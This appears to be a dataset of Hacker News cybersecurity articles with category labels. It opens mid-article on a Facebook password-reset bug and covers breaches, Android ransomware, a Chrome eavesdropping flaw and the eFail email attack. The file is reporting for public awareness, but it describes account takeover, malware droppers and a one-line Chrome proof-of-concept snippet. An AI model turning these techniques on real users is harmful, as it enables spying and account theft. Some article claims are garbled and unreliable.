Attacker now can get password recovery code to his own mobile number which is linked to victim's account using above steps. Enter the code and Reset the password!

Facebook no longer accepting the profile_id parameter from the user end after receiving the bug report from the hacker.

In return, Facebook paying $20,000 to fin1te as Bug Bounty.

",Vulnerability
These Top 7 Brutal Cyber Attacks Prove 'No One is Immune to Hacking' — Part I,https://thehackernews.com/2015/09/top-cyber-attacks-1.html,"If you believe that your organization is not at real risk of cyber attack, then you are absolutely wrong.

Incidents of massive data breaches, advanced cyber attacks coming from China, groups like Syrian Electronic Army, Hacking Point of Sale machines at retailers such as Target have splashed across the news in the last one year.

Whether a Government Agency or Private Company, Small or a Large Tech Company....

...It's no secret that No one is Immune to Cyber Attacks.

This article is the first in a two-part series from The Hacker News, listing first four out of Top 7 Brutal Cyber Attacks.

And here we go...

#1 ""Hacking Team"" Data Breach

Hacking Team, the controversial spyware company, recently been hacked by some unidentified hackers that exposed over 400 gigabytes of its internal sensitive data on the Internet.

Milan (Italy) based IT firm 'Hacking Team' sells intrusion and surveillance software solutions to Governments and Law Enforcement agencies worldwide.

Hacking Team is infamous for its commercial surveillance tool named as Remote Control System (RCS), which is capable of spying activities and remotely accessing target system's microphone and camera.

However, sometimes even Hackers get Hacked! So same happened with Hacking Team when hackers not only defaced Hacking Team's own Twitter account but also leaked:
Executive Emails
Source codes for Hacking and Spyware Tools
Zero-day exploits, including for Flash, Internet Explorer
Government client list with date of purchase and amount paid
…Marking the attack as one of the biggest cyber attacks on any Company.

One of the aspects of the data breach showed the lack of protection implementations within the organization and using weak passwords.

#2 Ashley Madison Data Breach

TIP: No website can guarantee privacy of your identity, Credit card details, personal photos or any other information. [Read more]

Two months ago, Toronto-based Ashley Madison website, popular as an online Married Dating portal for extramarital affairs with the tagline ""Life is Short. Have an Affair,"" was hacked by 'The Impact Team'.

Hackers allegedly gained access to millions of its customers information database and posted 10GB of personal data for its tens of Millions of customers, including their names and email addresses.

Frequently followed by another leak, where hackers released another 20GB of company's internal data, including personal e-mails from the CEO of Ashley Madison parent company Avid Life, Noel Biderman, along with the source code for its website and mobile apps.

The breach came just two months after an attack on another scandalous site, Adult Friend Finder where again millions of people's very personal data were left exposed on the Internet.

The Ashley Madison and Adult Friend Finder hacking cases raise serious questions about what these dating websites are doing to ensure the security of their users' personal information.

#3 The Sony Pictures Hack

Remember last year when you were able to download and watch unreleased movies of Sony Pictures Entertainment?

Annie, Mr. Turner, Still Alice, To Write Love On Her Arms, and Brad Pitt's ""Fury""...

...were leaked online on torrent websites, following a massive cyber attack on Sony Pictures last year by the Guardians of Peace (GOP) hacking group.

The hack wasn't limited to unreleased movies — the unknown hackers leaked about 200 gigabytes of confidential data belonging to Sony Pictures from movie scripts to sensitive employees data, celebrity's' phone numbers and their travel aliases, making it the most severe hack in the History.

The massive cyber attack on the company was in response to the release of ""The Interview"" — a controversial North Korean-baiting film, where hackers threatened 9/11 Type attack at Theaters showing this movie.

As a result, Sony had to shut down its services for weeks. However, it struggled to solve the issue by pulling ""The Interview"" from theaters and eventually putting it up on Netflix.

But, things have not changed much for Sony. This was the second time Sony was targeted, and the intensity of the attack was such that even after taking the best measures, a subsequent amount of the company's data was leaked to WikiLeaks.

#4 'Fappening' and 'Snappening'

When a surge of Nude Photos of Celebrities were leaked and went viral in August of 2014, the Internet had a meltdown.

Unknown Hacker was able to break into third-party applications connected to services like Facebook, Twitter, Instagram and Apple's iCloud that led to a major incident known as ""The Fappening"".

The Fappening mainly attacked female celebrities and leaked very private photographs of them, including Jennifer Lawrence, Kim Kardashian, Kirsten Dunst, Avril Lavigne and many others.

Within a month of ""The Fappening,"" another similar incident called ""The Snappening"" happened that leaked more than 100,000 nude videos and images of the Snapchat users.

In The Fappening, the Naked Pictures were allegedly retrieved due to a ""brute force"" security flaw in Apple's iCloud file storage service. However, Apple denied it.

In case of The Snappening, Snapchat's servers were not breached. Instead, the nude pictures of users were compromised due to third-party apps used to send and receive Snaps.

However, both the incidents marked as the biggest hacks of one of its kind.

Further Read: Part II — Top 7 Brutal Cyber Attacks Proves that No One is Immune to Hacking.

",Cyber_Attack
TalkTalk Hack: Police Arrest Second Teenager in London,https://thehackernews.com/2015/10/talktalk-hack.html,"British Police have arrested a second teenage boy in relation to the major hack on the servers of UK-based telco 'TalkTalk' last week.

On Monday, a 15-year-old boy (first arrest) from County Antrim, Northern Ireland, was arrested in connection with the TalkTalk Data Breach.

On Thursday, The Metropolitan Police Cyber Crime Unit (MPCCU) arrested this second unnamed 16-year-old boy from Feltham in west London on suspicion of Computer Misuse Act offences.

Latest TalkTalk Data breach put the Bank details and Personally Identifiable Information (PII) of millions of customers at risk, including:
Nearly 21,000 Bank Accounts
Almost 28,000 obscured Credit and Debit card details
Less than 15,000 customer dates of birth
Names, Email Addresses, and Phone Numbers of 1.2 Million Customers

TalkTalk has confessed that ""Not all of the data was encrypted""... yeah, its' too bad.
However, ""Investigations so far show that the information that may have been accessed is not enough on its own to take money from your bank account,"" the company claimed.
""Starting today, we are writing to all customers who have been affected by this to let them know what information has been accessed."", TalkTalk said in a statement.
As advised earlier, the affected TalkTalk customers are highly recommended to change their passwords as soon as possible and keep an eye on their bank accounts over the next few months.

",Data_Breaches
Thousands of High-Risk Vulnerabilities Found in NOAA Satellite System,https://thehackernews.com/2014/09/thousands-of-high-risk-vulnerabilities_9.html,"The informational systems that the National Oceanic and Atmospheric Administration (NOAA) run are loaded with several critical vulnerabilities that could leave it vulnerable to cyber attacks.

According to the findings of an audit recently conducted by the Department of Commerce's Office of the Inspector General (OIG), the Joint Polar Satellite System's (JPSS) ground system is vulnerable to a large number of high-risk vulnerabilities.

The JPSS ground system is used to collect data from several polar-orbiting weather satellites, and distribute the information to users worldwide. This system also provides command, control and data processing for current and future weather satellites.

But, the vulnerabilities identified in the system could impair technology controlling the United States' next generation of polar-orbiting environmental satellites.

""Our analysis of the JPSS program's assessments of system vulnerabilities found that, since FY 2012, the number of high-risk vulnerabilities in the system had increased by two-thirds7 despite recent efforts the program has taken to remediate these vulnerabilities,"" according to a memorandum from Allen Crawley, assistant inspector general for systems acquisition and IT security, to Kathryn Sullivan, under secretary of commerce for oceans and atmosphere and NOAA administrator.

The system is considered to be a ""High Impact"" IT system for which the loss of confidentiality, integrity, or availability could be expected to have a severe or catastrophic effect on organizational operations, organizational assets or individuals.

The audit, which analyzed NOAA's IT security program, showed an unbelievable picture. In the recent audit, the report showed that the number of High-Risk vulnerabilities rose from 14,486 in the first quarter of the fiscal year (FY) 2012 to 23,868 in the second quarter of FY 2014.
""If exploited, these [high-risk] vulnerabilities may make it possible for attackers to significantly disrupt the JPSS mission of providing critical data used in weather forecasting and climate monitoring,"" Crawley wrote in the memorandum.
Some of the vulnerabilities found are difficult to patch, but many of the identified high-risk vulnerabilities can be fixed easily by just making only minor modification to the current system. As more than 9,100 instances of software versions include the following issues:
Out of date software or lacking security patches
Insecurely configured software
Unnecessary user privileges
Moreover, adjustments can be made to more than 3,600 instances of password and auditing settings that are incorrectly configured and do not meet JPSS policy standards, as well as to unnecessary software applications that need to be removed or disabled.

The system even included the ""Heartbleed"" vulnerability, which has since been remediated. Heartbleed is one of the biggest Internet vulnerabilities in recent history that left large number of cryptographic keys and private data such as usernames, passwords, and credit card numbers, from the most important sites and services on the Internet open for hackers.
""In response to our draft memorandum, NOAA concurred with our recommendations,"" Crawley wrote. ""NOAA indicated that it had already implemented [a] recommendation [to use system update processes for quickly applying critical patches], explaining that it remediated the Heartbleed vulnerability during the third quarter of FY 2014.""
The issue is critical because numerous of vulnerabilities within the JPSS software are publicly available from years and , furthermore, tools are also available on the internet that can be used to exploit many of the vulnerabilities.

",Vulnerability
Severe Bug Discovered in Signal Messaging App for Windows and Linux,https://thehackernews.com/2018/05/signal-messenger-vulnerability.html,"Security researchers have discovered a severe vulnerability in the popular end-to-end encrypted Signal messaging app for Windows and Linux desktops which could allow remote attackers to execute malicious code on recipients system just by sending a message—without requiring any user interaction.

Discovered by Alfredo Ortega, a software security consultant from Argentina, the vulnerability was announced on Twitter just a few hours ago with a proof-of-concept video, demonstrating how a javascript payload sent over Signal for desktop app successfully got executed on the recipient's system.

Although technical details of the vulnerability have not been revealed as of now, the issue appears to be a remote code execution vulnerability in Signal or at least something very close to persistent cross-site scripting (XSS) which eventually could allow attackers to inject malicious code onto targeted Windows and Linux systems.
""For the time being, we can only confirm the execution of javascript code. However we are tracking a heap corruption issue, and it's very likely than the javascript execution could lead to native code execution with additional research."" Ortega told The Hacker News.
Ortega also confirms us that the exploitation of this issue requires chaining a couple of vulnerabilities found by two other security researchers from Argentina, Ivan and Juliano.
""I can confirm that this bug did not exist before and was last introduced because the devs forgot why there was a regex there to begin with. I would like to recommend a comment to this comment if it is not repeated again (TBD),"" Ivan said.
At this moment, it is not clear if the primary vulnerability or other chained bugs reside only in the source code of Signal or also in the popular Electron web application framework, the technology on which Signal desktop applications are based.
If the flaw resides in the Electron framework, it might also impact other widely-used desktop applications as well, including Skype, Wordpress, and Slack, which also use the same framework.

Moreover, the infosec community is also worried that if this flaw allows remote attackers to steal their secret encryption keys, it would be the worst nightmare for Signal users.

The good news is that the Open Whisper Systems has already addressed the issue and immediately released new versions of Signal app within a few hours after receiving the responsible vulnerability disclosure by the researcher.

The primary vulnerability that triggers the code execution has been patched in Signal stable release version 1.10.1 and pre-release version 1.11.0-beta.3. So, users are advised to update their Signal for desktop applications as soon as possible.
""At this time we are not sure they all [the vulnerabilities chained together] have been fixed"" Ortega told The Hacker News.
The latest release also patched a recently disclosed vulnerability in Signal for desktop apps which was exposing disappearing messages in a user-readable database of macOS's Notification Center, even if they are deleted from the app.

We will update this article as soon as we get more details of the vulnerability from the researcher. Till then, stay tuned to Facebook and Twitter accounts.

",Cyber_Attack
Google Chrome vulnerability allows Websites to Eavesdrop on You,https://thehackernews.com/2014/04/google-chrome-vulnerability-allows.html,"Just imagine, you are sitting in front of your laptop and your laptop is listening to your nearby conversations. What if the recorded audio from the system's microphone is being instantly uploaded to a malicious website?

Google has created a speech-recognition Application Programming Interface (API) that allows websites to interact with Google Chrome and the computer's microphone allows you to speak instead of typing into any text box, to make hands-free web searches, quick conversions, and audio translator also work with them.

In January, a flaw was discovered in Google Chrome that enabled malicious websites with speech recognition software to eavesdrop on users' conversations from background without their knowledge using an outdated Google speech API.

CHROME IS LISTENING YOU
A new similar vulnerability in Google Chrome has been discovered by Israeli security researcher, Guy Aharonovsky, claimed that the Chrome's speech-recognition API has a vulnerability that allows attackers to turn victim's machine into a listening port without asking for any permission, even if your microphone is completely disabled.

""Even blocking any access to the microphone under chrome://settings/content will not remedy this flaw."" he said in a blog post.

Reported vulnerability exploits the ""-x-webkit-speech"" feature of Chrome's speech-recognition API and allows a malicious web application to eavesdrop in the background without any indication to the user that their microphone is enabled.

He has also published a Proof-of-Concept webpage and a video demonstration, designed to work on Chrome for Mac operating system, but the exploit only works for Chrome for any operating system.
In demonstration, he has used HTML5 full screen feature to the indication box.
""In Chrome all one need in order to access the user's speech is to use this line of HTML5 code: <input -x-webkit-speech="""" /> that's all; there will be no fancy confirmation screens. When the user clicks on that little grey microphone he will be recorded. The user will see the 'indication box' telling him to ""Speak now"" but that can be pushed out of the screen and / or obfuscated.""

He has reported the flaw to Google via Chromium bug tracker. They confirmed the existence of the vulnerability, but assigned it 'low' severity level, that means Google will not offer any immediate fix for this flaw.


",Vulnerability
Nasty Android Malware that Infected Millions Returns to Google Play Store,https://thehackernews.com/2017/01/hummingbad-android-malware.html,"HummingBad – an Android-based malware that infected over 10 million Android devices around the world last year and made its gang an estimated US$300,000 per month at its peak – has made a comeback.

Security researchers have discovered a new variant of the HummingBad malware hiding in more than 20 Android apps on Google Play Store.

The infected apps were already downloaded by over 12 Million unsuspecting users before the Google Security team removed them from the Play Store.

Dubbed HummingWhale by researchers at security firm Check Point, the new malware utilizes new, cutting-edge techniques that allow the nasty software to conduct Ad fraud better than ever before and generate revenue for its developers.

The Check Point researchers said the HummingWhale-infected apps had been published under the name of fake Chinese developers on the Play Store with common name structure, com.[name].camera, but with suspicious startup behaviors.
""It registered several events on boot, such as TIME_TICK, SCREEN_OFF and INSTALL_REFERRER which [were] dubious in that context,"" Check Point researchers said in a blog post published Monday.

HummingWhale Runs Malicious Apps in a Virtual Machine
The HummingWhale malware is tricky than HummingBad, as it uses a disguised Android application package (APK) file that acts as a dropper which downloads and runs further apps on the victim's smartphone.

If the victim notices and closes its process, the APK file then drops itself into a virtual machine in an effort to make it harder to detect.

The dropper makes use of an Android plugin created by the popular Chinese security vendor Qihoo 360 to upload malicious apps to the virtual machine, allowing HummingWhale to further install other apps without having to elevate permissions, and disguises its malicious activity to get onto Google Play.
""This .apk operates as a dropper, used to download and execute additional apps, similar to the tactics employed by previous versions of HummingBad,"" researchers said. ""However, this dropper went much further. It uses an Android plugin called DroidPlugin, originally developed by Qihoo 360, to upload fraudulent apps on a virtual machine.""

HummingWhale Runs Without having to Root the Android Device

Thanks to the virtual machine (VM), the HummingWhale malware no longer needs to root Android devices unlike HummingBad and can install any number of malicious or fraudulent apps on the victim's devices without overloading their smartphones.

Once the victim gets infected, the command and control (C&C) server send fake ads and malicious apps to the user, which runs in a VM, generating a fake referrer ID used to spoof unique users for ad fraud purposes and generate revenue.

Alike the original HummingBad, the purpose of HummingWhale is to make lots of money through ad fraud and fake app installations.

Besides all these malicious capabilities, the HummingWhale malware also tries to raise its reputation on Google Play Store using fraudulent ratings and comments, the tactic similar to the one utilized by the Gooligan malware.

",Malware
Slack Resets Passwords For Users Who Hadn't Changed It Since 2015 Breach,https://thehackernews.com/2019/07/slack-password-data-breach.html,"If you use Slack, a popular cloud-based team collaboration server, and recently received an email from the company about a security incident, don't panic and read this article before taking any action.

Slack has been sending a ""password reset"" notification email to all those users who had not yet changed passwords for their Slack accounts since 2015 when the company suffered a massive data breach.

For those unaware, in 2015, hackers unauthorisedly gained access to one of the company's databases that stored user profile information, including their usernames, email addresses, and hashed passwords.

At that time, attackers also secretly inserted code, probably on the login page, which allowed them to capture plaintext passwords entered by some Slack users during that time.

However, immediately following the security incident, the company automatically reset passwords for those small number of Slack users whose plaintext passwords were exposed, but asked other affected users to change their passwords manually.

Keep calm and change your password 😊

Slack is resetting the passwords for all those users (approximately 1% of total) who hadn't changed their passwords since 2015 when the company experienced a #databreach leaking users' credentialshttps://t.co/k6jSBgloAX

Check this thread: https://t.co/Fo7QbI9pOv
— The Hacker News (@TheHackersNews) July 18, 2019


Now in its latest statement released today, the company said they learned about a new list of username and password combinations that match with the login credentials of its users who did not change their password after the 2015 data breach.

""We were recently contacted through our bug bounty program with information about potentially compromised Slack credentials,"" Slack states.

""We immediately confirmed that a portion of the email addresses and password combinations were valid, reset those passwords, and explained our actions to the affected users.""

The latest security incident only affects users, who:

created an account before March 2015,
have not changed their password since the incident, and
accounts that do not require logging in via a single-sign-on (SSO) provider.


The company is not exactly aware of the source of this new leaked plaintext credentials, but suggests it could be the ""result of malware attack or password reuse between services.""

It is also possible that someone might have successfully cracked hashed passwords that were leaked in the 2015 data breach, even when it was protected using the bcrypt algorithm with a randomly generated salt per-password.

Late last month, Slack also sent a separate notification to all the affected users informing them about the potential compromise of their credentials without providing any details of the incident, but it seems many users ignored the warning and did not change their passwords voluntarily.
Therefore, now Slack has automatically reset passwords on affected accounts, that are about 1% of the total registered users, that haven't been updated since 2015 as a precautionary measure, asking them to set a new password using this guide.

""We have no reason to believe that any of these accounts were compromised, but we believe that this precaution is worth any inconvenience the reset may cause,"" the company said.

Besides your changing password, you are also recommended to enable two-factor authentication for your Slack accounts, even if you are not affected.

Slack is still investigating the latest security incident and promises to share more information as soon as they are available.

",Cyber_Attack
Thousands of WordPress Sites Hacked Using Recently Disclosed Vulnerability,https://thehackernews.com/2017/02/wordpress-hack-seo.html,"Last week, we reported about a critical zero-day flaw in WordPress that was silently patched by the company before hackers have had their hands on the nasty bug to exploit millions of WordPress websites.

To ensure the security of millions of websites and its users, WordPress delayed the vulnerability disclosure for over a week and worked closely with security companies and hosts to install the patch, ensuring that the issue was dealt with in short order before it became public.

But even after the company's effort to protect its customers, thousands of admins did not bother to update their websites, which are still vulnerable to the critical bug and has already been exploited by hackers.

While WordPress includes a default feature that automatically updates unpatched websites, some admins running critical services disable this feature for first testing and then applying patches.

Even the news blog of one of the famous Linux distribution OpenSUSE (news.opensuse.org) was also hacked, but restored immediately without breach of any other part of openSUSE's infrastructure, CIO reports.

The vulnerability resided in Wordpress REST API that would lead to the creation of new flaws, allowing an unauthenticated attacker to delete pages or modify all pages on unpatched websites and redirect their visitors to malicious exploits and a large number of attacks.
The security researcher at Sucuri, who privately disclosed the flaw to WordPress, said they started noticing the attacks leveraging this bug less than 48 hours after disclosure. They noticed at least four different campaigns targeting still unpatched websites.

In one such campaign, hackers were successful in replacing the content of over 66,000 web pages with ""Hacked by"" messages. Rest campaigns have targeted roughly 1000 pages in total.

Besides defacing websites, such attacks appear to be carried out mostly for black hat SEO campaign in order to spread spam and gain ranking in search engine, which is also known as search engine poisoning.
""What we expect to see is a lot more SEO spam (Search Engine Poisoning) attempts moving forward,"" explained Daniel Cid, CTO, and founder of Sucuri.
""There's already a few exploit attempts that try to add spam images and content to a post. Due to the monetization possibilities, this will likely be the #1 route to abuse this vulnerability.""
So, site administrators who have not yet updated their websites to the latest WordPress release 4.7.2 are urged to patch them immediately before becoming next target of SEO spammers and hackers.

",Cyber_Attack
Experts Unveil Cyber Espionage Attacks by CopyKittens Hackers,https://thehackernews.com/2017/07/opykittens-cyber-espionage.html,"Security researchers have discovered a new, massive cyber espionage campaign that mainly targets people working in government, defence and academic organisations in various countries.

The campaign is being conducted by an Iran-linked threat group, whose activities, attack methods, and targets have been released in a joint, detailed report published by researchers at Trend Micro and Israeli firm ClearSky.

Dubbed by researchers CopyKittens (aka Rocket Kittens), the cyber espionage group has been active since at least 2013 and has targeted organisations and individuals, including diplomats and researchers, in Israel, Saudi Arabia, Turkey, the United States, Jordan and Germany.

The targeted organisations include government institutions like Ministry of Foreign Affairs, defence companies, large IT companies, academic institutions, subcontractors of the Ministry of Defense, and municipal authorities, along with employees of the United Nations.

The latest report [PDF], dubbed ""Operation Wilted Tulip,"" details an active espionage campaign conducted by the CopyKittens hackers, a vast range of tools and tactics they used, its command and control infrastructure, and the group's modus operandi.

How CopyKittens Infects Its Targets

The group used different tactics to infiltrate their targets, which includes watering hole attacks — wherein JavaScript code is inserted into compromised websites to distribute malicious exploits.

The news media and organisations whose websites were abused as watering hole attacks include The Jerusalem Post, for which even German Federal Office for Information Security (BSI) issued an alert, Maariv news and IDF Disabled Veterans Organization.

Besides water hole attacks, CopyKittens also used other methods to deliver malware, including:

Emailed links to malicious websites controlled by attackers.
Weaponized Office documents exploiting recently discovered flaw (CVE-2017-0199).
Web servers exploitation using vulnerability scanner and SQLi tools like Havij, sqlmap, and Acunetix.
Fake social media entities to build trust with targets and potentially spread malicious links.

""The group uses a combination of these methods to persistently target the same victim over multiple platforms until they succeed in establishing an initial beachhead of infection – before pivoting to higher value targets on the network,"" Trend Micro writes in a blog post.
In order to infect its targets, CopyKittens makes use of its own custom malware tools in combination with existing, commercial tools, like Red Team software Cobalt Strike, Metasploit, post-exploitation agent Empire, TDTESS backdoor, and credential dumping tool Mimikatz.

Dubbed Matryoshka, the remote access trojan is the group's self-developed malware which uses DNS for command and control (C&C) communication and has the ability to steal passwords, capture screenshots, record keystrokes, collect and upload files, and give the attackers Meterpreter shell access.
""Matryoshka is spread through spear phishing with a document attached to it. The document has either a malicious macro that the victim is asked to enable or an embedded executable the victim is asked to open,"" Clear Sky says in a blog post.
The initial version of the malware was analysed in 2015 and seen in the wild from July 2016 until January 2017, though the group also developed and used Matryoshka version 2.

Users are recommended to enable two-factor authentication in order to protect their webmail accounts from being compromised, which is a treasure trove of information for hackers, and an ""extremely strong initial beachhead"" for pivoting into other targets.

",Cyber_Attack
"Millions of DSL modems hacked in Brazil, spread banking malware",https://thehackernews.com/2012/10/millions-of-dsl-modems-hacked-in-brazil.html,"More than 4.5 million DSL modems have been compromised as part of a sustained hacking campaign in Brazil, with the devices spreading malware and malicious web address redirects.

According to the malware analyst at Kaspersky Lab in Brazil, Fabio Assolini. The vulnerability exploited by attackers allowed the use of a script to steal passwords and remotely access the configuration of modems. The attacks was described as ""One firmware vulnerability, two malicious scripts, three hardware manufacturers, 35 malicious DNS servers, thousands of compromised ADSL modems, millions of victims.""

According to Kaspersky, the Brazilian attackers sought to steal users' banking credentials by redirecting users to false versions of popular sites like Facebook or Google and prompting them to install malware. Some 40 DNS servers were set up outside Brazil too in order to serve forged requests for domain names belonging to Brazilian banks.

Nakedsecurity writes,-- The first thing users may have noticed is that they would visit legitimate websites such as Google, Facebook and Orkut (a Google social network which is particularly popular in Brazil) and would be prompted to install software. In the example below, visitors to Google.com.br were invited to install a program called ""Google Defence"" in order to access the ""new Google"".

It remains unclear which modem manufacturers and models are susceptible to the attacks. Assolini said a vulnerability disclosed in early 2011 appears to be caused by a chipset driver included with modems that use hardware from communications chip provider Broadcom. It allows a CSRF attack to take control of the administration panel and capture the password set on vulnerable devices.

After manufacturers issued firmware updates to plug the security hole, the number of compromised modems reduced. However, some 300,000 modems are still thought to be controlled by attackers.

",Malware
Yahoo Mail hacked; Change your account password immediately,https://thehackernews.com/2014/01/yahoo-mail-hacked-change-your-account.html,"A really bad year for the world's second-largest email service provider, Yahoo Mail! The company announced today, 'we identified a coordinated effort to gain unauthorized access to Yahoo Mail accounts', user names and passwords of its email customers have been stolen and are used to access multiple accounts.

Yahoo did not say how many accounts have been affected, and neither they are sure about the source of the leaked users' credentials. It appears to have come from a third party database being compromised, and not an infiltration of Yahoo's own servers.

""We have no evidence that they were obtained directly from Yahoo's systems. Our ongoing investigation shows that malicious computer software used the list of usernames and passwords to access Yahoo Mail accounts. The information sought in the attack seems to be names and email addresses from the affected accounts' most recent sent emails.""

For now, Yahoo is taking proactive actions to protect their affected users, ""We are resetting passwords on impacted accounts and we are using second sign-in verification to allow users to re-secure their accounts. Impacted users will be prompted (if not, already) to change their password and may receive an email notification or an SMS text if they have added a mobile number to their account.""

People frequently use the same passwords on multiple accounts, so possibly hackers are brute-forcing Yahoo accounts with the user credentials stolen from other data breaches.

Yahoo users can prevent account hijacks by using a strong and unique password. You can use 'Random strong password generator' feature of DuckDuckGo search engine to get a unique & strong password.

Users are also recommended to enable two-factor authentication, which requires a code texted to the legitimate user's mobile phone whenever a login attempt is made from a new computer.

Yahoo! was hacked in July 2012, with attackers stealing 450,000 email addresses and passwords from a Yahoo! contributor network.

Readers can also download two free Whitepaper related to the Email and account security:
Cloud-Based Email Archiving
Email Data Loss Prevention
Well, Yahoo is now working with federal law enforcement as a part of its investigation.

",Data_Breaches
Cyber jihadists could use Stuxnet worm to attack the west !,https://thehackernews.com/2011/04/cyber-jihadists-could-use-stuxnet-worm.html,"Cyber jihadists could use Stuxnet worm to attack the west !


ACCORDING TO Mikko Hypponen, F-Secure's chief security researcher, there has been a revolution in malware with Stuxnet. ""The worst case scenario is that Al-Qaeda or another organisation could gain access to this type of knowledge and information, and make use of it to launch attacks on critical infrastructure – like blow up nuclear power plants or do something to our food chain.""


",Malware
New Ransomware Not Just Encrypts Your Android But Also Changes PIN Lock,https://thehackernews.com/2017/10/android-ransomware-pin.html,"DoubleLocker—as the name suggests, it locks device twice.

Security researchers from Slovakia-based security software maker ESET have discovered a new Android ransomware that not just encrypts users' data, but also locks them out of their devices by changing lock screen PIN.

On top of that:

DoubleLocker is the first-ever ransomware to misuse Android accessibility—a feature that provides users alternative ways to interact with their smartphone devices, and mainly misused by Android banking Trojans to steal banking credentials.

""Given its banking malware roots, DoubleLocker may well be turned into what could be called ransom-bankers,"" said Lukáš Štefanko, the malware researcher at ESET.
""Two-stage malware that first tries to wipe your bank or PayPal account and subsequently locks your device and data to request a ransom.""

Researchers believe DoubleLocker ransomware could be upgraded in future to steal banking credentials as well, other than just extorting money as ransom.

First spotted in May this year, DoubleLocker Android ransomware is spreading as a fake Adobe Flash update via compromised websites.

Here's How the DoubleLocker Ransomware Works:
Once installed, the malware requests user for the activation of 'Google Play Services' accessibility feature, as shown in the demonstration video.

After obtaining this accessibility permission, the malware abuses it to gain device's administrator rights and sets itself as a default home application (the launcher)—all without the user's knowledge.

""Setting itself as a default home app – a launcher – is a trick that improves the malware's persistence,"" explains Štefanko.
""Whenever the user clicks on the home button, the ransomware gets activated, and the device gets locked again. Thanks to using the accessibility service, the user does not know that they launch malware by hitting Home.""

Once executed, DoubleLocker first changes the device PIN to a random value that neither attacker knows nor stored anywhere and meanwhile the malware encrypts all the files using AES encryption algorithm.

DoubleLocker ransomware demands 0.0130 BTC (approximately USD 74.38 at time of writing) and threatens victims to pay the ransom within 24 hours.

If the ransom is paid, the attacker provides the decryption key to unlock the files and remotely resets the PIN to unlock the victim's device.

How to Protect Yourself From DoubleLocker Ransomware

According to the researchers, so far there is no way to unlock encrypted files, though, for non-rooted devices, users can factory-reset their phone to unlock the phone and get rid of the DoubleLocker ransomware.

However, for rooted Android devices with debugging mode enabled, victims can use Android Debug Bridge (ADB) tool to reset PIN without formatting their phones.

The best way to protect yourself from avoiding falling victims to such ransomware attacks is to always download apps from trusted sources, like Google play Store, and stick to verified developers.

Also, never click on links provided in SMS or emails. Even if the email looks legit, go directly to the website of origin and verify any possible updates.

Moreover, most importantly, keep a good antivirus app on your smartphone that can detect and block such malware before it can infect your device, and always keep it and other apps up-to-date.

",Malware
Former NSA software developer can Hack Surveillance cameras remotely,https://thehackernews.com/2013/06/former-nsa-software-developer-can-hack.html,"A former NSA software developer is saying he has identified how major camera systems used by industrial plants, prisons, banks and the military could be hacked to freeze a frame and would allow hackers to spy on facilities or gain access to sensitive computer networks.

Craig Heffner, that there were zero day vulnerabilities in digital video surveillance equipment from firms, including Cisco Systems, D-Link and TRENDnet. He has discovered hundreds of thousands of surveillance cameras that can be accessed via the public Internet.
""Somebody could potentially access a camera and view it. Or they could also use it as a pivot point, an initial foothold, to get into the network and start attacking internal systems."" Heffner said.

Wrost thing, probably NSA is also aware of these vulnerabilities. They could use it as a pivot point, an initial foothold, to get into the network and start attacking internal systems.

He said he doesn't plan on revealing the vulnerabilities to the companies ahead of the conference, but all the companies have expressed that they'll stay tuned to make any necessary fixes.

He plans to demonstrate techniques for exploiting these bugs at the Hacking conference, in July. He can freeze a picture on a surveillance camera to help thieves break into facilities without detection.

",Vulnerability
Hackers Exploit SonicWall Zero-Day Bug in FiveHands Ransomware Attacks,https://thehackernews.com/2021/04/hackers-exploit-sonicwall-zero-day-bug.html,"An ""aggressive"" financially motivated threat group tapped into a zero-day flaw in SonicWall VPN appliances prior to it being patched by the company to deploy a new strain of ransomware called FIVEHANDS.
The group, tracked by cybersecurity firm Mandiant as UNC2447, took advantage of an ""improper SQL command neutralization"" flaw in the SSL-VPN SMA100 product (CVE-2021-20016, CVSS score 9.8) that allows an unauthenticated attacker to achieve remote code execution.
""UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums,"" Mandiant researchers said. ""UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics.""
CVE-2021-20016 is the same zero-day that the San Jose-based firm said was exploited by ""sophisticated threat actors"" to stage a ""coordinated attack on its internal systems"" earlier this year. On January 22, The Hacker News exclusively revealed that SonicWall had been breached by exploiting ""probable zero-day vulnerabilities"" in its SMA 100 series remote access devices.
Successful exploitation of the flaw would grant an attacker the ability to access login credentials as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance.
According to the FireEye-owned subsidiary, the intrusions are said to have occurred in January and February 2021, with the threat actor using a malware called SombRAT to deploy the FIVEHANDS ransomware. It's worth noting that SombRAT was discovered in November 2020 by BlackBerry researchers in conjunction with a campaign called CostaRicto undertaken by a mercenary hacker group.
UNC2447 attacks involving ransomware infections were first observed in the wild in October 2020, initially compromising targets with HelloKitty ransomware, before swapping it for FIVEHANDS in January 2021. Incidentally, both the ransomware strains, written in C++, are rewrites of another ransomware called DeathRansom.
""Based on technical and temporal observations of HelloKitty and FIVEHANDS deployments, HelloKitty may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021,"" the researchers said.
FIVEHANDS also differs from DeathRansom and HelloKitty in the use of a memory-only dropper and additional features that allow it to accept command-line arguments and utilize Windows Restart Manager to close a file currently in use prior to encryption.
The disclosure comes less than two weeks after FireEye divulged three previously unknown vulnerabilities in SonicWall's email security software that were actively exploited to deploy a web shell for backdoor access to the victim. FireEye is tracking this malicious activity under the moniker UNC2682.

",Malware
Here's How eFail Attack Works Against PGP and S/MIME Encrypted Emails,https://thehackernews.com/2018/05/efail-pgp-email-encryption.html,"With a heavy heart, security researchers have early released the details of a set of vulnerabilities discovered in email clients for two widely used email encryption standards—PGP and S/MIME—after someone leaked their paper on the Internet, which was actually scheduled for tomorrow.

PGP and S/MIME are popular end-to-end encryption standards used to encrypt emails in a way that no one, not even the company, government, or cyber criminals, can spy on your communication.

Before explaining how the vulnerability works, it should be noted that the flaw doesn't reside in the email encryption standards itself; instead, it affects a few email clients/plugins that incorrectly implemented the technologies.

Dubbed eFail by the researchers, the vulnerabilities, as described in our previous early-warning article, could allow potential attackers to decrypt the content of your end-to-end encrypted emails in plaintext, even for messages sent in the past.

According to the paper released by a team of European security researchers, the vulnerabilities exist in the way encrypted email clients handle HTML emails and external resources, like loading of images, styles from external URLs.

Here's How the eFail Attack Works:
Email clients are usually configured to automatically decrypt the content of encrypted emails you receive, but if your client is also configured to load external resources automatically, attackers can abuse this behavior to steal messages in plaintext just by sending you a modified version of the same encrypted email content.

